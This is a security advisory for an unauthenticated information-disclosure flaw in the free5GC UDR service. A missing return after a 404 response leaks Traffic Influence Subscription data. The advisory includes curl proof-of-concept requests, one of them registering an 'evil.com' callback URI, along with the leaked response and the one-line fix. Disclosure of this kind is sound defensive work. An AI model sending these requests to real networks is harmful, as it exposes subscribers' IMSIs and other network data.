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8.7

Free5GC UDR lets attackers access sensitive data without login

GHSA-x5r2-r74c-3w28 CVE-2026-40247 GHSA-x5r2-r74c-3w28
Summary

The Free5GC UDR system has a security weakness that allows unauthorized users to access sensitive data by sending a special request. This means attackers can potentially get access to confidential information without needing a password or login. To fix this, update your Free5GC UDR system to prevent unauthorized access and ensure all requests are properly validated.

What to do

No fix is available yet. Check with your software vendor for updates.

Affected software
VendorProductAffected versionsFix available
github.com free5gc <= 1.4.2
free5gc github.com/free5gc/udr <= 1.4.2
Original title
free5gc UDR improper path validation allows unauthenticated access to Traffic Influence Subscriptions
Original description
### Summary
An improper path validation vulnerability in the UDR service allows any unauthenticated attacker with access to the 5G Service Based Interface (SBI) to read Traffic Influence Subscriptions by supplying an arbitrary value in place of the expected `subs-to-notify` path segment.

### Details
The endpoint `GET /nudr-dr/v2/application-data/influenceData/{influenceId}/{subscriptionId}` is intended to only operate on Traffic Influence Subscription resources when `influenceId` is exactly `subs-to-notify`.

In the free5GC UDR implementation, the path validation is present but ineffective because the handler does not return after sending the HTTP 404 response. The request handling flow is:

1. The function `HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdGet` in `./free5gc_4-2-1/free5gc/NFs/udr/internal/sbi/api_datarepository.go` checks whether `influenceId != "subs-to-notify"`.
2. If the value is different, it calls `c.String(http.StatusNotFound, "404 page not found")`, **but it does not return afterwards**.
3. Execution continues and the handler still calls `s.Processor().ApplicationDataInfluenceDataSubsToNotifySubscriptionIdGetProcedure(c, subscriptionId)`.
4. The processor retrieves and returns the subscription identified by `subscriptionId` even though the path is invalid and the request should have been rejected.

As a result, an attacker can send a request to an invalid path, receive an apparent `404 page not found` response, and still obtain the full subscription object in the same HTTP response body.

The missing `return` after sending the 404 response in `api_datarepository.go` is the root cause of this vulnerability.

### PoC
No authentication is required. Only a valid `subscriptionId` is needed.

```bash
# Create a subscription to obtain a valid subscriptionId
curl -v -X POST "http://<udr-host>/nudr-dr/v2/application-data/influenceData/subs-to-notify" \
-H "Content-Type: application/json" \
-d '{
"notificationUri":"http://evil.com/notify",
"dnns":["internet"],
"snssais":[{"sst":1,"sd":"000001"}],
"supis":["imsi-222777483957498"]
}'
```
Example response:
```
HTTP/1.1 201 Created
```

Then read it through an invalid path:
```bash
curl -v "http://<udr-host>/nudr-dr/v2/application-data/influenceData/WRONGID/87615e16"
```
Response:
```
HTTP/1.1 404 Not Found
404 page not found{"dnns":["internet"],"snssais":[{"sst":1,"sd":"000001"}],"supis":["imsi-222777483957498"],"notificationUri":"http://evil.com/notify"}
```
For comparison, the valid request is:
```bash
curl -v "http://<udr-host>/nudr-dr/v2/application-data/influenceData/subs-to-notify/87615e16"
```
Response:
```json
{"dnns":["internet"],"snssais":[{"sst":1,"sd":"000001"}],"supis":["imsi-222777483957498"],"notificationUri":"http://evil.com/notify"}
```
### Impact
This is an unauthenticated information disclosure vulnerability. Any attacker with network access to the SBI can retrieve Traffic Influence Subscription objects by knowing or guessing a valid subscriptionId, even when using an invalid path that should have been rejected.

The returned objects may contain sensitive subscriber-related information, including SUPIs/IMSIs, DNNs, S-NSSAIs, and callback notificationUri values.

Impacted deployments: any free5GC instance where the SBI is reachable by untrusted parties (e.g., misconfigured network segmentation, rogue NF, or compromised internal host).

### Patch
The vulnerability has been confirmed patched by adding the missing return statement in NFs/udr/internal/sbi/api_datarepository.go,
function HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdGet:
```
go
if influenceId != "subs-to-notify" {
c.String(http.StatusNotFound, "404 page not found")
return
}
```
With the patch applied, requests using an invalid influenceId now correctly return HTTP 404 and do not disclose the targeted subscription data.
ghsa CVSS4.0 8.7
Vulnerability type
CWE-285 Improper Authorization
CWE-636
Published: 14 Apr 2026 · Updated: 14 Apr 2026 · First seen: 14 Apr 2026